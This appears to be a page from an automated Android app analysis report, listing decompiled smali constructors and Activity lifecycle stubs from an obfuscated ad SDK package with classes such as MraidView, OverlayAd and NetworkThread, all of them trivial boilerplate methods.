Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "x0" # Lcom/vxjxu/jkhfn1870/MraidView; | |
1 | .prologue | |
3 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setDataInJs()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread$1;->this$0:Lcom/vxjxu/jkhfn1870/NetworkThread; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread$2;->this$0:Lcom/vxjxu/jkhfn1870/NetworkThread; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "wrapped" # Lorg/apache/http/HttpEntity; | |
1 | .prologue | |
3 | invoke-direct {p0, p1}, Lorg/apache/http/entity/HttpEntityWrapper;-><init>(Lorg/apache/http/HttpEntity;)V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
3 | invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$2;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SDKIntializer$1;->val$message:Ljava/lang/String; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SDKIntializer$2;->val$message:Ljava/lang/String; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SDKIntializer$3;->val$adType:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onDestroy()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onPause()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onResume()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onStart()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onPause()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onRestart()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onStart()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onDestroy()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onPause()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onRestart()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onResume()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onStart()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onStop()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
Method: com.vxjxu.jkhfn1870.FormatAds-><init>() Relevance: 1.3, APIs: 1, Strings: 0, Instructions: 4
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |